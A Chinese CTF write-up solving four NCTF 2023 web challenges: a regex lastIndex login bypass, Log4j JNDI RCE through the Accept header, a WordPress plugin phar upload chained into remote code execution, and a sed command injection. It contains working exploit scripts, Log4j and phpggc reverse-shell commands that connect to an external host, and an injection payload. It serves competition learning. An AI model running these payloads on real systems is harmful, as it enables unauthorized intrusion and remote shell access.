0%

NCTF 2023

质量很高的比赛,收获满满

[NCTF 2023]web解析

WaitWhat?

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156

const express = require('express');
const child_process = require('child_process')
const app = express()
app.use(express.json())
const port = 80

function escapeRegExp(string) {
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}

let users = {
"admin": "admin",
"user": "user",
"guest": "guest",
'hacker':'hacker'
}

let banned_users = ['hacker']

// 你不准getflag
banned_users.push("admin")

let banned_users_regex = null;
function build_banned_users_regex() {
let regex_string = ""
for (let username of banned_users) {
regex_string += "^" + escapeRegExp(username) + "$" + "|"
}
regex_string = regex_string.substring(0, regex_string.length - 1)
banned_users_regex = new RegExp(regex_string, "g")
}

//鉴权中间件
function requireLogin(req, res, next) {
let username = req.body.username
let password = req.body.password
if (!username || !password) {
res.send("用户名或密码不能为空")
return
}
if (typeof username !== "string" || typeof password !== "string") {
res.send("用户名或密码不合法")
return
}
// 基于正则技术的封禁用户匹配系统的设计与实现
let test1 = banned_users_regex.test(username)
console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
if (test1) {
console.log("第一个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
// 基于in关键字的封禁用户匹配系统的设计与实现
let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2){
console.log("第二个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
if (username in users && users[username] === password) {
next()
return
}
res.send("用户名或密码错误,鉴权失败!")
}

function registerUser(username, password) {
if (typeof username !== "string" || username.length > 20) {
return "用户名不合法"
}
if (typeof password !== "string" || password.length > 20) {
return "密码不合法"
}
if (username in users) {
return "用户已存在"
}

for(let existing_user in users){
let existing_user_password = users[existing_user]
if (existing_user_password === password){
return `您的密码已经被用户'${existing_user}'使用了,请使用其它的密码`
}
}

users[username] = password
return "注册成功"
}

app.use(express.static('public'))

// 每次请求前,更新封禁用户正则信息
app.use(function (req, res, next) {
try {
build_banned_users_regex()
console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
} catch (e) {
}
next()
})

app.post("/api/register", (req, res) => {
let username = req.body.username
let password = req.body.password
let message = registerUser(username, password)
res.send(message)
})

app.post("/api/login", requireLogin, (req, res) => {
res.send("登录成功!")
})

app.post("/api/flag", requireLogin, (req, res) => {
let username = req.body.username
if (username !== "admin") {
res.send("登录成功,但是只有'admin'用户可以看到flag,你的用户名是'" + username + "'")
return
}
let flag = child_process.execSync("cat flag").toString()
res.end(flag)
console.error("有人获取到了flag!为了保证题目的正常运行,将会重置靶机环境!")
res.on("finish", () => {
setTimeout(() => { process.exit(0) }, 1)
})
return
})

app.post('/api/ban_user', requireLogin, (req, res) => {
let username = req.body.username
let ban_username = req.body.ban_username
if(!ban_username){
res.send("ban_username不能为空")
return
}
if(username === ban_username){
res.send("不能封禁自己")
return
}
for (let name of banned_users){
if (name === ban_username) {
res.send("用户已经被封禁")
return
}
}
banned_users.push(ban_username)
res.send("封禁成功!")
})

app.get("/", (req, res) => {
res.redirect("/static/index.html")
})

app.listen(port, () => {
console.log(`listening on port ${port}`)
})

代码很长我们分析一下:

首先定义escapeRegExp函数去进行转义,给了user数组包含四个用户和对应密码,然后定义banned_users数组并随后通过push添加admin用户为黑名单

然后看向build_banned_users_regex()函数

1
2
3
4
5
6
7
8
9
let banned_users_regex = null;
function build_banned_users_regex() {
let regex_string = ""
for (let username of banned_users) {
regex_string += "^" + escapeRegExp(username) + "$" + "|"
}
regex_string = regex_string.substring(0, regex_string.length - 1)
banned_users_regex = new RegExp(regex_string, "g")
}

对传入的username进行正则匹配,然后截断也就是/^admin$/,最后启用了参数g

和它有关的是lastIndex属性

RegExp.lastIndex

lastIndex 是正则表达式的一个可读可写的整型属性,用来指定下一次匹配的起始索引。

只有正则表达式使用了表示全局检索的 “g“ 或者粘性检索的 “y“ 标志时,该属性才会起作用。此时应用下面的规则:

  • 如果 lastIndex 大于字符串的长度,则 regexp.testregexp.exec 将会匹配失败,然后 lastIndex 被设置为 0。
  • 如果 lastIndex 等于或小于字符串的长度,则该正则表达式匹配从 lastIndex 位置开始的字符串。
    • 如果 regexp.testregexp.exec 匹配成功,lastIndex 会被设置为紧随最近一次成功匹配的下一个位置。
    • 如果 regexp.testregexp.exec 匹配失败,lastIndex 会被设置为 0

我们本地测试下

1
2
3
4
5
var re = /^admin$/g;
console.log(re.test('admin'))
console.log("第一次:"+re.lastIndex)
console.log(re.test('admin'))
console.log("第二次:"+re.lastIndex)

运行结果

不难发现如果正则表达式设置了全局标志, test() 的执行会改变正则表达式 lastIndex 属性。连续的执行 test() 方法,后续的执行将会从lastIndex处开始匹配字符串

我们继续往下看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//鉴权中间件
function requireLogin(req, res, next) {
let username = req.body.username
let password = req.body.password
if (!username || !password) {
res.send("用户名或密码不能为空")
return
}
if (typeof username !== "string" || typeof password !== "string") {
res.send("用户名或密码不合法")
return
}
// 基于正则技术的封禁用户匹配系统的设计与实现
let test1 = banned_users_regex.test(username)
console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
if (test1) {
console.log("第一个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
// 基于in关键字的封禁用户匹配系统的设计与实现
let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2){
console.log("第二个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
if (username in users && users[username] === password) {
next()
return
}
res.send("用户名或密码错误,鉴权失败!")
}

requireLogin()函数起到了鉴权作用,设置了两套waf,分别是正则技术和in关键字,要想登陆成功就必须绕过waf。

第一个我们前文已经知道banned_users_regex()函数的具体执行过程,test()返回一个布尔值,由于我们刚刚测试过设置了全局标志,连续的执行 test() 方法会使其布尔值发生改变,我们往下看在app.use处发现会更新封禁用户正则信息

1
2
3
4
5
6
7
8
9
// 每次请求前,更新封禁用户正则信息
app.use(function (req, res, next) {
try {
build_banned_users_regex()
console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
} catch (e) {
}
next()
})

我们要让其不更新正则信息利用test()多次执行返回false的布尔值绕过第一个waf,也就是说我们要抛出异常。

我们注意到banned_users_regex()函数中escapeRegExp()定义的是接收string类型的,如果传递非字符串类型就可以实现抛出TypeError

第二个waf根据注释是基于in关键字我们来分析一下

如果指定的属性在指定的对象或其原型链中,则 in 运算符返回 true

我们本地测试下

1
2
3
4
5
const list = {id:'1',grade:'100',name:'rev1ve'}
console.log(list)
if('name' in list === true){
console.log('name is in list!')
}

运行结果

说明指定的是属性,那如果是数组呢,给个示例

1
2
3
4
5
6
7
8
const banned_users = ['hacker','admin']
username='admin'
let test1 = (username in banned_users)
if(test1){
console.log('waffff')
}else{
console.log('success!')
}

由于没有admin属性,所以test1布尔值返回为false,也就是说这是假的waf(hhh)

接着往下看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function registerUser(username, password) {
if (typeof username !== "string" || username.length > 20) {
return "用户名不合法"
}
if (typeof password !== "string" || password.length > 20) {
return "密码不合法"
}
if (username in users) {
return "用户已存在"
}

for(let existing_user in users){
let existing_user_password = users[existing_user]
if (existing_user_password === password){
return `您的密码已经被用户'${existing_user}'使用了,请使用其它的密码`
}
}

users[username] = password
return "注册成功"
}

registerUser函数就是检查用户名和密码是否合法

然后就是/api/register路由和有鉴权过程的/api/login路由没有什么信息,/api/flag路由要想得到flag就得绕过waf,以admin身份登录即可,/api/ban_user路由实现抛出异常

整理一下思路:首先随便注册一个用户test,然后访问/api/ban_user路由传数组格式抛出异常绕过regex的更新,然后进行第一次访问/api/flag路由正则匹配成功,waf成功拦截,接着第二次访问/api/flag路由,正则匹配失败,成功绕过waf得到flag

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

req=requests.Session()
url='http://117.50.175.234:9001/'

req1=req.post(url+"api/register",json={"username":"test","password":"test"})
print(req1.text)

req2=req.post(url+"api/ban_user",json={"username":"test","password":"test","ban_username":{"error":""}})
print(req2.text)

req3=req.post(url+"api/flag",json={"username":"admin","password":"admin"})
print(req3.text)

req4=req.post(url+"api/flag",json={"username":"admin","password":"admin"})
print(req4.text)

运行结果

logging

考点:log4j rce (CVE-2021-44228)

我们将题目给的jar文件反编译一下,找到pom.xml文件

可以知道是springboot框架,结合提示是log4j的远程RCE
目标就是找到注入点触发log4j的漏洞

参考wp

如何实现SpringBoot在默认配置下如何触发Log4j2 JNDI RCE(默认配置是指代码仅仅使用了Log4j2的依赖)
核心思路就是:构造⼀个畸形的HTTP数据包使得SpringBoot控制台报错

本题利用的是http请求的Accept头,接下来就是JNDI常规注入
使用工具rogue-jndi,由于之前做的log4j漏洞是htb能出网的机子(参考文章),所以本题需要修改下参数值
映射端口如下

运行工具

1
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA+JjE=}|{base64,-d}|{bash,-i}" --hostname "192.168.132.128"

选择第三个,抓包在Accept头添加payload
然后修改一下ip地址(因为是内网穿透)

成功反弹shell得到flag

ez_wordpress

打开题目,没什么收获看看hint

1
2
3
4
5
6
7
8
9
10
11
Hint 1: 可以思考下如何对 WordPress 进行信息收集

Hint 2: 注意版本 (6.4.1) 注意一些第三方的东西

Hint 3: 结合信息收集和网上已有的东西就可以自己本地搭建一个类似的环境进行测试 涉及的代码审计部分其实很少

Hint 4: https://wwnt.lanzout.com/iwUdK1ir03te

Hint 5: upload phar + file read (ssrf) => rce

Hint 6: 请不要使用 burp 的 Paste from file 功能 (存在 bug) 建议手动构造 upload.html 然后浏览器选择文件抓取上传包 或者写 python 脚本上传 或者使用 yakit

hint1应该是能通过wpscan扫出来有用的线索,刚好hint4是给的扫描结果;然后hint2说注意版本以及第三方东西,应该就是插件

那么我们看一下扫描结果

果然是扫出来几个插件,重点看向all-in-one-video-gallery和drag-and-drop-multiple-file-upload-contact-form-7以及对应的版本

我们根据关键词搜出来all-in-one-video-gallery插件具有ssrf和文件读取漏洞并且知道对应cve漏洞编号

在网上找到篇文章如何构造ssrf漏洞 参考链接

/index.php/video路由下存在dl参数,如果不为数字则对其base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function download_video() {
if ( ! isset( $_GET['dl'] ) ) {
return;
}

if ( is_numeric( $_GET['dl'] ) ) {
$file = get_post_meta( (int) $_GET['dl'], 'mp4', true );
} else {
$file = base64_decode( $_GET['dl'] );
}

if ( empty( $file ) ) {
die( esc_html__( 'Download file URL is empty.', 'all-in-one-video-gallery' ) );
exit;
}

接下来文章就是讲解如何触发ssrf漏洞(本文不做叙述)

看向下面的利用未经身份验证的任意文件下载

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
if ( $is_remote_file && $formatted_path == 'url' ) {         
$data = @get_headers( $file, true );

if ( ! empty( $data['Content-Length'] ) ) {
$file_size = (int) $data[ 'Content-Length' ];
} else {
// If get_headers fails then try to fetch fileSize with curl
$ch = @curl_init();
if ( ! @curl_setopt( $ch, CURLOPT_URL, $file ) ) {
@curl_close( $ch );
@exit;
}

@curl_setopt( $ch, CURLOPT_NOBODY, true );
@curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
@curl_setopt( $ch, CURLOPT_HEADER, true );
@curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
@curl_setopt( $ch, CURLOPT_MAXREDIRS, 3 );
@curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 10 );
@curl_exec( $ch );

if ( ! @curl_errno( $ch ) ) {
$http_status = (int) @curl_getinfo( $ch, CURLINFO_HTTP_CODE );
if ( $http_status >= 200 && $http_status <= 300 ){
$file_size = (int) @curl_getinfo( $ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD );
}
@curl_close( $ch );
}
}
}else{
$chunk = 1 * ( 1024 * 1024 );
$nfile = @fopen( $file, 'rb' );
while ( ! feof( $nfile ) ) {
print( @fread( $nfile, $chunk ) );
@ob_flush();
@flush();
}
@fclose( $filen );

如果is_remote_file为真,formatted_path等于url,那么将使用 cURL 库发出请求,否则如果将使用“fopen”函数来读取文件。

我们看一下如何实现,&&运算符只要第一个为假表达式即为假,所以目的是让is_remote_file为假

看向下面这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
if ( strpos( $file, home_url() ) !== false ) {
$is_remote_file = false;
}

if ( preg_match( '#http://#', $file ) || preg_match( '#https://#', $file ) ) {
$formatted_path = 'url';
} else {
$formatted_path = 'filepath';
}

if ( $is_remote_file ) {
$formatted_path = 'url';
}

第一个 if 语句检查 $file 变量中home_url()的出现,其中file变量是dl参数的值,home_url是 WordPress 安装的完整 URL。

如果dl参数具有 WordPress 路径的 URL,则is_remote_file的值将为false。

也就是说我们可以通过file等协议读取文件,并添加有效的url路径,例如

1
file://http://xxx.com/index.php

最后再base64编码一下即可

我们已经分析完怎么文件读取,结合hint5那么接下来就是如何上传phar文件

根据关键词和版本信息找到插件drag-and-drop-multiple-file-upload-contact-form-7具有XSS漏洞(本质是可以未授权上传图片)

参考文章

至于为什么思路是上传phar文件,我们结合前文分析的漏洞可以知道用协议去读取文件,当然包括phar协议

这篇文章直接就给了POC,大概意思就是在/wp-admin/admin-ajax.php路径进行文件上传,我们把该poc中的xss内容换成我们phar文件内容即可

那么我们先生成用来RCE的phar文件,直接用工具phpggc生成反弹shell文件

1
./phpggc WordPress/RCE2 system "bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'" -p phar -o ~/payload.phar

在题目访问/wp-admin/admin-ajax.php抓包

将poc复制上去,修改下文件名为4.jpg以及文件内容为phar(右键从文件粘贴)

测试后发现也能弹shell,不会出现二进制数据格式错误

当然也可以用python脚本上传文件(按照poc改的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = 'http://124.71.184.68:8012/wp-admin/admin-ajax.php'

headers = {
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-GB,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'X-Requested-With': 'XMLHttpRequest',
'Connection': 'close',
}

files = {
'size_limit': (None, '10485760'),
'action': (None, 'dnd_codedropz_upload'),
'type': (None, 'click'),
'upload-file': ('1.jpg', open('payload.phar', 'rb'), 'image/jpeg')
}

response = requests.post(url, headers=headers, files=files)

print(response.status_code)
print(response.text)

成功上传

然后就是文件读取,将payload编码一下

1
phar:///var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/1.jpg/test.txt

注意phar url的结尾必须加上 /test.txt ,因为在构造phar文件的时候执行的是 $phar-addFromString("test.txt", "test"); ,这里的路径需要与代码中的test.txt对应,否则网站会⼀直卡住

访问/index.php/video并传递参数dl去phar读取文件

成功反弹shell

尝试suid提权,发现可用命令

查找一下date命令如何提权

得到flag

Webshell Generator

考点:sed命令

打开题目,大概意思就是可以生成webshell并下载下来

hint1给了附件,直接代码审计
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
function security_validate()
{
foreach ($_POST as $key => $value) {
if (preg_match('/\r|\n/', $value)) {
die("$key 不能包含换行符!");
}
if (strlen($value) > 114) {
die("$key 不能超过114个字符!");
}
}
}
security_validate();
if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) {
if ($_POST['language'] !== 'PHP') {
die("PHP是最好的语言");
}
$method = $_POST['method'];
$key = $_POST['key'];
putenv("METHOD=$method") or die("你的method太复杂了!");
putenv("KEY=$key") or die("你的key太复杂了!");
$status_code = -1;
$filename = shell_exec("sh generate.sh");
if (!$filename) {
die("生成失败了!");
}
$filename = trim($filename);
header("Location: download.php?file=$filename&filename={$_POST['filename']}");
exit();
}
?>

POST传参接收三个参数,如果参数language不为php,那么分别设置环境变量METHOD和KEY,执行generate.sh文件并赋值给filename,然后跳转到download.php进行文件下载

我们可以抓包看一下

当我们直接访问的话可以读取到该生成的文件
也就是说存在任意文件读取

根据hint提示我们要读取/readflag,我们分析一下如何读取
按照刚刚的测试,读取的文件路径是由$filename = shell_exec("sh generate.sh");决定,那么我们跟进一下
generate.sh

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

set -e

NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16)
cp template.php "/tmp/$NEW_FILENAME"
cd /tmp

sed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"

realpath "$NEW_FILENAME"

可以发现是使用sed命令的-i参数,我们查找下

可以编辑文件内容,而s/KEY/$KEY/g 是 sed 命令的替换操作部分
也就是说生成的webshell中会替换两个值

sed命令中可以用;来分隔指令,e参数用来命令执行
我们在参数key的地方注入,前后闭合即可

1
/g;e /readflag;s/

至于为什么是e而不是-e,解释如下

GNU sed中的sed -i s/hello/g;e /readflag命令中的e参数是用来执行一个外部命令的。在这个命令中,e参数后面跟着的是一个外部命令/readflag,它会被sed执行在sed命令中,-e参数用于指定一个或多个sed脚本命令,而-i参数用于直接修改文件内容。因此,我们想要在sed命令中执行一个外部命令,我们需要使用e参数而不是-e参数

然后再访问得到flag